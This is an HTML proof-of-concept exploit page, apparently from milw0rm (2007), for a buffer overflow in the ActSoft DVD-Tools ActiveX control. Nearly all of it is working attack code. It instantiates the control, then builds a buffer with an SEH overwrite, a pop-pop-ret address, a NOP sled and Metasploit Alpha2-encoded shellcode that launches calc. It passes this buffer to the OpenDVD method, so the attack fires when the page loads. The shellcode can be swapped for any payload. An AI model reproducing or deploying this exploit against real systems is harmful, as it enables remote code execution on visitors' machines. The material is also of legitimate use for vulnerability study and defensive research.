<!-- =============================================================================================== ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Exploit By Umesh Wanve ============================================================================================== Date : 30-03-2007 Tested on Windows 2000 SP4 Server English Windows 2000 SP4 Professional English PS. This was written for educational purpose. Use it at your own risk.Author will be not be responsible for any damage. Always thanks to Metasploit and Stroke --> <html> <title> ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Exploit- By Umesh Wanve </title> <object classid='clsid:894A633E-F261-28BD-96F3-380EBEE1BADE' id='test' ></object> <script> var nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90"); var pointer_to_seh=unescape("%eb%06%90%90"); var seh_handler=unescape("%a9%11%02%75"); <!-- win32_exec - EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com --> var shellcode= unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49")+ unescape("%49%49%49%49%49%49%49%49%49%48%49%49%51%5a%6a%64")+ unescape("%58%30%41%31%50%42%41%6b%41%41%74%32%41%42%41%32")+ unescape("%42%41%30%42%41%58%38%41%42%50%75%4a%49%6b%4c%79")+ unescape("%78%67%34%45%50%43%30%73%30%4c%4b%72%65%55%6c%4c")+ unescape("%4b%53%4c%53%35%70%78%54%41%7a%4f%6c%4b%72%6f%42")+ unescape("%38%6e%6b%51%4f%35%70%57%71%7a%4b%43%79%4c%4b%77")+ unescape("%44%4e%6b%74%41%48%6e%50%31%79%50%6d%49%6e%4c%6b")+ unescape("%34%6b%70%53%44%76%67%6a%61%4a%6a%44%4d%54%41%5a")+ unescape("%62%6a%4b%4b%44%37%4b%61%44%71%34%65%54%32%55%58")+ unescape("%65%6e%6b%63%6f%55%74%34%41%4a%4b%70%66%6e%6b%54")+ unescape("%4c%70%4b%6e%6b%73%6f%45%4c%76%61%78%6b%6c%4b%55")+ unescape("%4c%4c%4b%44%41%48%6b%4d%59%73%6c%57%54%75%54%6a")+ unescape("%63%54%71%4b%70%65%34%6c%4b%37%30%54%70%6c%45%4f")+ unescape("%30%73%48%54%4c%4e%6b%37%30%74%4c%4c%4b%50%70%67")+ unescape("%6c%4c%6d%4c%4b%62%48%45%58%38%6b%76%69%6e%6b%4f")+ unescape("%70%4e%50%45%50%47%70%37%70%6c%4b%32%48%47%4c%51")+ unescape("%4f%30%31%6b%46%43%50%61%46%6e%69%48%78%6d%53%4f")+ unescape("%30%61%6b%66%30%31%78%58%70%4d%5a%34%44%61%4f%55")+ unescape("%38%6e%78%6b%4e%6d%5a%34%4e%73%67%49%6f%6d%37%33")+ unescape("%53%31%71%70%6c%65%33%45%50%64"); var buff=""; for (i=0;i<432;i++) buff=buff+"A"; <!-- Buffer ------ Short Jump to Shellcode ----- Pop Pop ret ---- NOP SLED ---- Hellcode ---------> buff = buff + pointer_to_seh + seh_handler + nop+nop + shellcode +nop+nop; var attack = document.getElementById('test'); attack.OpenDVD(buff); </script> </body> </html> # milw0rm.com [2007-03-30]